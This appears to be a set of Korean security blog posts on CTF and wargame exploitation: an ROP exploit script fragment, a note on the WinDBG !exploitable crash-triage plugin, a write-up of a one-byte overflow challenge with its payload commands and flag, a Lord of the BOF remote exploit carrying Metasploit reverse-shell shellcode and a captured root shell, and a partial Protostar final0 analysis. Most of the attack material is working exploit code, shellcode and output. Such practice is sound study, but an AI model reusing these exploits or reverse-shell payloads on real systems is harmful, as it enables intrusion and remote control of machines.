payload = p(send) # send <-- RET HERE!
payload = p(ppppr)
payload = p(4)
payload = p(rand) # rand
payload = p(4)
payload = p(0)
##################################################
payload = p(func_main)
payload = "AAAA"
payload = p(4)
##################################################
s.send(payload) # send
temp = s.recv(4) # get rand ptr
##################################################

##################################################
# calc system addr
##################################################
temp = up(temp)[0]
# offset here!
temp -= 0x34470 # rand - base_to_rand
temp = 0x41280 # base base_to_system
system = temp
print "system addr : " hex(system)
##################################################

##################################################
# Stage 2 - exploit
##################################################
payload = ""
payload = "A" * 0x408
payload = "SWCP"
##################################################
payload = p(recv) # recv
payload = p(ppppr)
payload = p(4)
payload = p(freespace)
payload = p(len(cmd))
payload = p(0)
##################################################
payload = p(system) # system
payload = "SWCP"
payload = p(freespace) # cmd
##################################################

print s.recv(1024) # msg
s.send(payload) # sending payload
time.sleep(0.3)
s.send(cmd) # send command
print "Sending Payload . . ."

raw_input("GOT SHELL?")

쉘권한을 획득하면 아래와 같이 반[?]리버스쉘이 연결된다. [그냥 한번 써보고 싶어서 써봣음.. ㅎㅎ]

다른 포트로도 열어두고 그 곳으로 비밀번호를 보내도록 하자.



신고

댓글 0



한창 bob 과제로 바쁘다가.. 이제는 좀 여유로워 졌습니다.


대학교 원서도 넣어야 하고 bob 프로젝트도 해야하고 다시 또 바쁜 한달이 될것 같습니다.. -_-;;;



BOB수업때 심준보 멘토님의 윈도우 Exploit에 대한 내용을 보고 배우던 여러가지중 기억에 남는게 하나 있습니다.


프로그램의 취약점을 찾기위해 Fuzzing을 하고 나온 크래시들을 이용해서 Exploit하는데


크래시를 분석하는게 상당히 노가다입니다. 그래서 그나마 쉽게 1차적으로 분류하는 것을 간략하게 배웠습니다.


윈도우 프로그램들을 퍼징해서 나온 크래시들을 분류할때 여러 방법이 있고


크게 4가지로 분류한다고 하셨는데 이것이 MS에서 분류 하는것이라고 하시더군요!


그래서 더 듣고보니 이번 1월달 취약점을 Exploit할때 접했던 WinDBG의 확장 모듈인 MSEC.dll 의 Exploitable 플러그인이었습니다.


국내엔 별로 자료가 없는것 같아 한번 올려봅니다.


일단 이 Exploitable 이란 플러그인은 크래시가 난 형태를 파악하고 등급을 매겨 크래시가 exploitable 한지 1차적으로 판단해주는 플러그인입니다.


하지만 이는 프로그램일 뿐이고 전후 상황을 몰라서 100% 신뢰하기는 어렵지만 1차적으로 유니크 크래시를 분류하기는 유리합니다.




다운로드 링크 : http://msecdbg.codeplex.com/releases/view/24667

다운로드 [티스토리]


MSECExtensions.zip


압축 파일 안의 binaries/x86/msec.dll 을 windbg/winext 폴더에 넣어줍니다


!exploitable

Gives an analysis, including a proposed bug title

!exploitable -v
Gives a verbose analysis

!exploitable -m
Gives the same output as -v, but formatted for easy machine parsing

!exploitable -jit:address
Use the JIT Exception Record to determine the exception




!load msec // 플러그인 로딩

!exploitable // 플러그인 사용하기


그런 다음 msec를 로딩하고 플러그인을 사용하면 다음과 같이 크래시를 분석해서 결과를 나타내 줍니다.


결과는 총 4가지로 분류됩니다.


Exploitable

Probably Exploitable

Probably Not Exploitable

Unknown.


주로 유니크 크래시를 선정할땐 exploitable 로 기준을 잡으셔서 분류하시면 되겠습니다.


주의점은 이 플러그인은 크래시를 기준으로 분류하기 떄문에 Access Violation이나 Integer Overflow 등 이런 오류가 먼저 난 다음에 사용하셔야 합니다.


그리고 위에서도 언급했지만 100% 신뢰를 할순 없습니다. Probably Not Exploitable 이 나왓지만 실제론 Exploitable 할수 있습니다. [실제 경험.. ^^;]


그럼 재밌는 취약점 많이 찾으세요!

신고

Comment 16

  • zzz
    2013.09.04 14:28 신고 수정 답글

    foe fuzzer 쓰면 이거 이용해서 덤퍼징한거 자동 분류해줘ㅋㅋ

  • xeros
    2013.09.09 01:01 신고 수정 답글

    저도 이거 corelan 문서에서 보고 놀랏엇는데 ㅋㅋ
    별 플러그인이 다 있더라구여

  • Fuzzer
    2013.09.17 15:17 신고 수정 답글

    혹시 익스플로잇 하셨나요?
    제가 크래쉬는 많이 발견했는데, 어떻게 익스플로잇으로 연결할지는 모르겠네욤 ㅠㅠ
    혹시 그 부분에 대해서 필요한 자료나 블로깅이 있으신가요?

    • 2013.09.18 11:56 신고 수정

      위는 그냥 아무 크래시를 넣은것이구요 ㅎㅎ;
      퍼징을 이용하여 Exploit까지 이끌어 내는 방법이야 많습니다.
      일단 가장먼저 흐름이 바뀌고 꺠지는 이유를 리버싱을 통해 알아야 하고 추가적인 파일 변조로 Exploit까지 이끌어 낼 수 있습니다.

      이는 외국글을 읽어보심 될것 같네요!

  • Fuzzer
    2013.09.18 18:21 신고 수정 답글

    네 감사합니다!
    같은 BoB 2기인데, 늦게나마 계산기 띄우는 작업을 하고 있네요 ㅎㅎ
    즐거운 추석연휴 되세요!
    또 궁금한거 있으면 질문하겠습니다.

    • 2013.09.18 19:01 신고 수정

      넵! 맘껏 질문해주세요. 근데 제가 아는것만... 답해드릴 수 있을것 같네요.. ㄷㄷ
      저는 그때 다른 프로그램으로 제출했었습니다 ㅎㅎ
      즐거운 추석 보내세요~ 전 집에서 지냅니다! ㅋㅋ

  • Fuzzer
    2013.09.18 23:12 신고 수정 답글

    네 감사합니다! 저도 집에서 보내게 되었네요^^;;

    아 그리고 괜찮으시다면 멘토님께 보내신 보고서를 참고하고 싶은데

    혹시 메일로 보내 주실 수 있으신가요??

    • 2013.09.19 08:59 신고 수정

      음.. 그건 완전히 제것이 아니라 약간은 무리가 있을것 같네요 ㅎㅎ;
      대신 http://pgnsc.tistory.com/290 읽어주시면 감사하겠습니다 ㅎㅎ

  • Fuzzer
    2013.09.19 11:29 신고 수정 답글

    와 감사합니다 ^^

    여긴 정말 없는게 없네요 ㅎㅎ

  • Fuzzer
    2013.09.24 22:02 신고 수정 답글

    혹시 Fuzzer 구현할때 PYDBG로 하셨나요?

    제가 현재 pyDBG로 구현중인데, AV를 못잡는 현상이 있네요 ㅠㅠ

    혹시 이런 현상을 겪으신적이 있나요?

    • 2013.09.25 09:27 신고 수정

      저는 멘토님이 주신 코드에 있던 mydebugger를 사용했습니다.
      근데 저도 한@ 프로그램을 로딩시키면 AV가 잘 잡히지 않아서 mutation 기능만 만들어두고 하나하나 돌려보는 노가다를 했습니다 ㅋㅋ

  • Shayete
    2014.10.03 16:26 신고 수정 답글

    bob 3기입니다. fuzzing 관련 검색하다가 우연히 들렀어요. 반가워요!

    • 2014.10.03 19:46 신고 수정

      반갑습니다~
      BOB 끝까지 열심히 하셔서 좋은 결과 있길 바라겠습니다 :D


간만에 BOB가 일찎 끝나서 시간이 많았네요~


지난번에 10번 바이너리 받아놓기만 하고 그냥 보고만 있었는데 오늘 마침 풀게 되었습니다. 흐흐


'예선전' 난이도가 비교적 다른 대회보단 낮은편이라서 시스템에 엄청나게 약한 저도 그리 어렵지 않게 풀수 있었습니다/// [본선은 엄청 어려울것 같네요..]




드디어 마지막 레벨까지 오셨군요.

마지막까지 화이팅입니다.


리눅스 로컬 문제이고 바이너리를

분석하여 풀이를 인증하기 위한 키를

획득하세요!


[SSH 정보]

IP: 112.172.160.241

PORT: 2323

ID: guest_face

Password: computergenius

문제 바이너리 위치: /home/face/chal


문제 서버로 접속해보면 바이너리와 키값이 있다.


일단 이 문제는 바로 이전의 포스팅을 보면 힌트가 나와있는데 푸는방법이 3가지이다.


1. system 함수이용

2. BOF

3. Memory Leek


이중에서 두번째 방법으로 풀어볼 것이다.


사실 1번은 어떻게 푸는지 모르다가 다른사람 풀이 보고 알았다 -ㅅ-;;; 리눅스 공부좀 더 해야지.. 큭;;


3번 방법은.. 원리는 알겠지만 덜 이해가 되서 결국엔 2번째 방법을 택했다.


문제 바이너리를 가져오고 분석을 진행했다.


.text:080487CC s = byte ptr -4Ch

.text:080487CC dest = byte ptr -38h

.text:080487CC var_1E = byte ptr -1Eh

.text:080487CC src = byte ptr 8

.text:080487CC


.text:080487CC push ebp

.text:080487CD mov ebp, esp

.text:080487CF sub esp, 58h

.text:080487D2 mov dword ptr [esp 8], 14h ; n

.text:080487DA mov dword ptr [esp 4], 0 ; c

.text:080487E2 lea eax, [ebp s]

.text:080487E5 mov [esp], eax ; s

.text:080487E8 call _memset

.text:080487ED mov dword ptr [esp 8], 18h ; n

.text:080487F5 lea eax, [ebp src]

.text:080487F8 mov [esp 4], eax ; src

.text:080487FC lea eax, [ebp dest]

.text:080487FF mov [esp], eax ; dest

.text:08048802 call _memcpy

.text:08048807 mov eax, offset aAreYouTryingTo ; "Are you trying to buffer overflow?!:\n"

.text:0804880C mov [esp], eax ; format

.text:0804880F call _printf

.text:08048814 mov eax, offset aInput ; "INPUT: "

.text:08048819 mov [esp], eax ; format

.text:0804881C call _printf

.text:08048821 mov eax, ds:stdout

.text:08048826 mov [esp], eax ; stream

.text:08048829 call _fflush

.text:0804882E mov eax, ds:stdin

.text:08048833 mov [esp 8], eax ; stream

.text:08048837 mov dword ptr [esp 4], 1Fh ; n

.text:0804883F lea eax, [ebp var_1E]

.text:08048842 mov [esp], eax ; s

.text:08048845 call _fgets

.text:0804884A lea eax, [ebp var_1E]

.text:0804884D mov [esp], eax ; s

.text:08048850 call _strlen

.text:08048855 mov [esp 8], eax ; n

.text:08048859 lea eax, [ebp var_1E]

.text:0804885C mov [esp 4], eax ; src

.text:08048860 lea eax, [ebp s]

.text:08048863 mov [esp], eax ; dest

.text:08048866 call _memcpy

.text:0804886B lea eax, [ebp s]

.text:0804886E mov [esp], eax ; s

.text:08048871 call _strlen

.text:08048876 cmp eax, 1Eh

.text:08048879 jle short locret_80488AB

.text:0804887B lea eax, [ebp s]

.text:0804887E mov [esp], eax ; s

.text:08048881 call _strlen

.text:08048886 mov edx, offset a1ErrorTheBuffe ; "[1] error: the buffer is too long. [%d]"...

.text:0804888B lea ecx, [ebp s]

.text:0804888E mov [esp 8], ecx

.text:08048892 mov [esp 4], eax

.text:08048896 mov [esp], edx ; format

.text:08048899 call _printf

.text:0804889E mov eax, ds:stdout

.text:080488A3 mov [esp], eax ; stream

.text:080488A6 call _fflush

.text:080488AB

.text:080488AB locret_80488AB: ; CODE XREF: bof ADj

.text:080488AB leave

.text:080488AC retn

.text:080488AC bof endp


핵심 부분만 가져온 코드이다.


바이너리를 실행하면 정보를 입력받고 '버퍼오버플로우에 도전하세요~' 부분이 나오는데 그 부분이다.


문제는 버퍼는 0x1e 만큼 선언되어있지만 0x1f 만큼 받아서 1byte BOF 가 발생한다.


0xbf82aad0: 0x08048318 0x0000001e 0xb7668ede 0x00000001

0xbf82aae0: 0xb75fe228 0xb763b8f1 0xb77a6000 0x00000000

0xbf82aaf0: 0xb77a6000 0xb77a6a20 0xb765d112 0xb77a6a20

0xbf82ab00: 0x08049084 0xbf82ab24 0xb767c190 0xb77a6000

0xbf82ab10: 0x00000000 0x00000000 0x080488ab 0xb77a6a20

0xbf82ab20: 0x00000024 0xbf82ab28 0x41414141 0x41414141

0xbf82ab30: 0x41414141 0x41414141 0x41414141 0x41414141

0xbf82ab40: 0x41414141 0xc73b4141 0xd9d844c0 0x00000000

0xbf82ab50: 0x083bd008 0x41416a20 0x41414141 0x41414141

0xbf82ab60: 0x41414141 0x41414141 0x41414141 0x41414141

---Type to continue, or q to quit---

0xbf82ab70: 0x41414141 0xbf82ab00 0x08048af2 0x00000001

0xbf82ab80: 0x0fab0360 0xc73bc2dc 0xd9d844c0 0x00000000

0xbf82ab90: 0x083bd008 0x00000001 0x0fab0360 0xc73bc2dc

0xbf82aba0: 0xd9d844c0 0x00000000 0x083bd008 0xbf82abb8

0xbf82abb0: 0x08048f2b 0x00000000 0x00000000 0xb7610935

0xbf82abc0: 0x00000001 0xbf82ac54 0xbf82ac5c 0xb77d3000

0xbf82abd0: 0x000004ad 0x00000000 0xb77b0858 0x00000003


.text:08048E5D jnz loc_8048EF0

.text:08048E63 mov edx, offset modes ; "rb"

.text:08048E68 mov eax, offset a_Flag ; "./flag"

.text:08048E6D mov [esp 4], edx ; modes

.text:08048E71 mov [esp], eax ; filename

.text:08048E74 call _fopen

.text:08048E79 mov [ebp stream], eax

.text:08048E7C cmp [ebp stream], 0

.text:08048E80 jnz short loc_8048EA8

.text:08048E82 mov eax, offset aNoFlagFile_ ; "No flag file.\n"

.text:08048E87 mov [esp], eax ; format

.text:08048E8A call _printf

.text:08048E8F mov eax, ds:stdout

.text:08048E94 mov [esp], eax ; stream

.text:08048E97 call _fflush

.text:08048E9C mov dword ptr [esp], 0 ; status

.text:08048EA3 call _exit

.text:08048EA8 ; ---------------------------------------------------------------------------

.text:08048EA8

.text:08048EA8 loc_8048EA8: ; CODE XREF: flag FFj


쉘코드를 담고 실행하려면 고 난이도의 Exploit이 될것이다;;


그러므로 바이너리 내부 루틴에 있는 키를 읽는 함수를 이용한 rtl 을 사용한다


Section Headers:

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al

[ 0] NULL 00000000 000000 000000 00 0 0 0

[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1

[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4

[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4

[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4

[ 5] .dynsym DYNSYM 080481d8 0001d8 000140 10 A 6 1 4

[ 6] .dynstr STRTAB 08048318 000318 0000cc 00 A 0 0 1

[ 7] .gnu.version VERSYM 080483e4 0003e4 000028 02 A 5 0 2

[ 8] .gnu.version_r VERNEED 0804840c 00040c 000040 00 A 6 1 4

[ 9] .rel.dyn REL 0804844c 00044c 000018 08 A 5 0 4

[10] .rel.plt REL 08048464 000464 000080 08 A 5 12 4

[11] .init PROGBITS 080484e4 0004e4 00002e 00 AX 0 0 4

[12] .plt PROGBITS 08048520 000520 000110 04 AX 0 0 16

[13] .text PROGBITS 08048630 000630 0009cc 00 AX 0 0 16

[14] .fini PROGBITS 08048ffc 000ffc 00001a 00 AX 0 0 4

[15] .rodata PROGBITS 08049018 001018 000341 00 A 0 0 4

[16] .eh_frame_hdr PROGBITS 0804935c 00135c 000074 00 A 0 0 4

[17] .eh_frame PROGBITS 080493d0 0013d0 0001d4 00 A 0 0 4

[18] .ctors PROGBITS 0804af14 001f14 000008 00 WA 0 0 4

[19] .dtors PROGBITS 0804af1c 001f1c 000008 00 WA 0 0 4

[20] .jcr PROGBITS 0804af24 001f24 000004 00 WA 0 0 4

[21] .dynamic DYNAMIC 0804af28 001f28 0000c8 08 WA 6 0 4

[22] .got PROGBITS 0804aff0 001ff0 000004 04 WA 0 0 4

[23] .got.plt PROGBITS 0804aff4 001ff4 00004c 04 WA 0 0 4

[24] .data PROGBITS 0804b040 002040 000008 00 WA 0 0 4

[25] .bss NOBITS 0804b060 002048 000090 00 WA 0 0 32

[26] .comment PROGBITS 00000000 002048 00002a 01 MS 0 0 1

[27] .shstrtab STRTAB 00000000 002072 0000ec 00 0 0 1


위 정보를 모아서 exploit을 작성한다.


guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal

Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT: Value?

INPUT: add_value(): added

Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT: Thanks for the info.

1: number - 00000001, value - 00000001

You are the hero!

Are you trying to buffer overflow?!:

INPUT: [1] error: the buffer is too long. [36][€c€c€cswcpzz#톶?

Segmentation fault


Exploit을 성공하고 face계정의 권한을 얻는다면 플래그를 읽는 과정에 의해 키값까지 뱉어낼것이다.


하지만... 환경이 우분투 13.04라서 랜덤스택이 걸려있다 [nx는 확인안해봤음.]


그래서 선택한것은 몇번이고 해보는 것이다 ㅋㅋ [aslr이 걸려있어도 주소가 반복될 때가 있기 때문이다.]


이전 레벨에서 플래그에 항상 key : ~~~ 이 있으므로..


guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

....

....

....

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

Oh, wow! Congrats! The key is: AwesomeFriday!


성공적으로 플래그를 읽었다.






Flag : AwesomeFriday!

신고

Comment 6

  • 2013.08.07 04:59 수정 답글

    비밀댓글입니다

    • 2013.08.07 14:47 신고 수정

      안녕하세요
      저의경우엔 모두 독학으로 했습니다. 저 말고 다른 순위권분들 95%분들이 모두 독학으로 공부하셨습니다.
      저의경우는 책과 인터넷을 두개 보면서 했구요.. 지금은 프로그래밍을 시작한지는 1년 8개월, 보안공부는 1년 2개월 정도 됬습니다.
      감사합니다

  • 2013.08.07 17:35 수정 답글

    비밀댓글입니다

    • 2013.08.08 01:02 신고 수정

      c언어같은 프로그래밍 언어로 하셔도 되고 전 저게 편해서 따로 공부했습니다 ㅎ

  • 2013.08.18 18:15 수정 답글

    비밀댓글입니다

    • 2013.08.19 23:38 신고 수정

      webhacking.kr 등 다양한 워게임 사이트들도 있구요.
      하고 싶으신 공부 하시면서 다른 분야도 접하시면서 해보심됩니다.
      대회도 자주 나가 보시구요 ㅎㅎ
      저도 대단한 분들 처럼은 아니라서... 이정도만 답해드릴 수 있네요///


BOB과제로 FTZ풀다가 급생각나서 LOB도 풀어보는데 재미있다.


레벨 20에서는 remote exploit이 등장하는데 먼저 소스코드를 보면


[xavius@localhost xavius]$ cat death_knight.c

/*

The Lord of the BOF : The Fellowship of the BOF

- dark knight

- remote BOF

*/


#include

#include

#include

#include

#include

#include

#include

#include

#include


main()

{

char buffer[40];


int server_fd, client_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(6666);

server_addr.sin_addr.s_addr = INADDR_ANY;

bzero(&(server_addr.sin_zero), 8);


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}


while(1) {

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}


if (!fork()){

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}


close(client_fd);

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}



40바이트만큼 buffer가 있는 상태지만 256만큼 받아버려서 BOF가 발생한다.


스택의 구조를


[data...]| [buffer][sfp][ret] |[data...]


으로 예상하고 exploit을 작성했다


from socket import * from struct import pack p = lambda x: struct.pack(",x) # linux/x86/shell_reverse_tcp - 95 bytes # Encoder: x86/shikata_ga_nai # VERBOSE=false, LHOST=*, LPORT=*, shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8" "\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80" "\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01" "\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16" "\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f" "\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0" "\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66") HOST = "192.168.0.29" PORT = 6666 limit = 256 - 1 print len(shellcode) print "[*] Sending Exploit Codes.." for i in range(0xff,0x00,-1): for j in range(0,0xff,100): s = socket(AF_INET,SOCK_STREAM) s.connect((HOST,PORT)) s.recv(1207) exploit = "" exploit = "\x90"*40 # offset exploit = "\x90"*4 # sfp exploit = chr(j) chr(i) "\xff\xbf" # ret exploit = "\x90"*(limit-len(shellcode)-len(exploit)) # slide exploit = shellcode # shellcode s.send(exploit) print "PWNED?" s.close()


* 쉘코드는 리버스쉘이고 metasploit으로 제작되었습니다.


J:\fedora_exploit\TheLordOfTheBOF_redhat>lob20.py

[*] Sending Exploit Codes..

pwned?


C:\Users\sweetchip\Desktop>nc -lvp *

listening on [any] * ...

192.168.0.1: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.2] from (UNKNOWN) [192.168.0.1] 1045: NO_DATA

id

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

my-pass

euid = 520

g** *** ****


[death_knight@localhost death_knight]$ cat dropped_item.txt

You're so great! This is a token to the next gate.

,.
,' `.
,' _<>_ `.
,'.-'____`-.`.
,'_.-'' ``-._`.
,',' /\ `.`.
,' /.._ O / \ O _.,\ `.
,'/ / \ ``-;.--.:-'' / \ \`.
,' : : \ /\`.,'/\ / : : `.
< <>| | O >(< ( ) >)< O | |<> >
`. : : / \/,'`.\/ \ ; ; ,'
`.\ \ /_..-:`--';-.._\ / /,'
`. \`' O \ / O `'/ ,'
`.`._ \/ _,','
`..``-.____.-'',,'
`.`-.____.-','
`. <> ,'
`. ,'
`'


Exploit을 성공하고 root 쉘을 획득했다.


신고

댓글 0


2995 포트로 서비스중인 프로그램과 소스가 주어졌다.


 1#include "../common/common.c"
 2
 3#define NAME "final0"
 4#define UID 0
 5#define GID 0
 6#define PORT 2995
 7
 8/*
 9 * Read the username in from the network
10 */
11
12char *get_username()
13{
14  char buffer[512];
15  char *q;
16  int i;
17
18  memset(buffer, 0, sizeof(buffer));
19  gets(buffer); // Vuln
20
21  /* Strip off trailing new line characters */
22  q = strchr(buffer, '\n');
23  if(q) *q = 0;
24  q = strchr(buffer, '\r');
25  if(q) *q = 0;
26
27  /* Convert to lower case */
28  for(i = 0; i < strlen(buffer); i  ) {
29    buffer[i] = toupper(buffer[i]);
30  }
31
32  /* Duplicate the string and return it */
33  return strdup(buffer);
34}
35
36int main(int argc, char **argv, char **envp)
37{
38  int fd;
39  char *username;
40
41  /* Run the process as a daemon */
42  background_process(NAME, UID, GID);  
43  
44  /* Wait for socket activity and return */
45  fd = serve_forever(PORT);
46
47  /* Set the client socket to STDIN, STDOUT, and STDERR */
48  set_io(fd);
49
50  username = get_username();
51  
52  printf("No such user %s\n", username); 

53}


사용자 이름을 받고 무조건 no such user 을 띄우는 이상한 프로그램이다.


게다가 사용자 이름을 무조건 대문자로 만들어버린다.


이상한 기능을 하고 있는 프로그램 이지만 다시 한번 보면 get_username에서 gets 함수를 사용해서 BOF 공격이 가능해 보인다.


buffer 의 변수 크기는 512 이며 대략 550을 서버로 요청하면 데몬은 뻗어버릴 것이다.


그리고 core 를 분석해서 EIP가지의 offset을 구할 것이다.


tmp 폴더에있는 core 를 gdb --core=./tmp/core... 로 분석해보자.


분석해보면 533 ~ 536 byte가 EIP를 덮어쓸수 있는 offset이엇다.


nx나 aslr이 걸려있지 않으므로 core를 좀더 분석해보면 buffer에 쉘코드를 담아 공격을 할 예정이다.


0xbffff98c: 0xb7fd984c 0xb7fd8420 0xb7fd8420 0xb7e9fa34

0xbffff99c: 0xb7fe1848 0xb7fd8420 0xffffffff 0xb7fb730b

0xbffff9ac: 0xb7fb7324 0xb7fb733e 0xb7fb732e 0xb7fe1838

0xbffff9bc: 0xb7e97000 0x00000000 0x00000000 0xb7fe1848

0xbffff9cc: 0xb7fd7ff4 0x00000201 0x00000201 0xbffff9e8

0xbffff9dc: 0xb7f06dbc 0xb7fd7ff4 0xbffffa48 0xbffffa08

0xbffff9ec: 0xb7f06caa 0x00000201 0xb7f0a050 0xfefefeff

0xbffff9fc: 0xb7fd7ff4 0xbffffa48 0x00000201 0xbffffa28

0xbffffa0c: 0xb7f0a050 0x00000201 0xb7ff6210 0xfefefeff

0xbffffa1c: 0x00000200 0x00000000 0x00000000 0xbffffc58

0xbffffa2c: 0x0804982a 0xbffffa48 0x0000000d 0x00000200

0xbffffa3c: 0x0000069c 0xb7e9c894 0x0d696910 0x41414141

0xbffffa4c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa5c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa6c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa7c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa8c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa9c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffaac: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffacc: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffadc: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffaec: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffafc: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb0c: 0x41414141 0x41414141 0x41414141 0x41414141



Buffer가 시작되는 주소는 0xbffffa48 이고 이곳부터 512바이트간 upper처리를 하는데 그러면 쉘코드가 손상될 가능성이 있다.


그러므로 512바이트 이후에 쉘코드를 담을것이다.


payload


offset eip nopsled shellcode


이렇게 페이로드를 구성하고 Exploit 할 것이다.


nopsled 구역인 bffffc6c를 eip로 설정하고 exploit code를 작성했다.


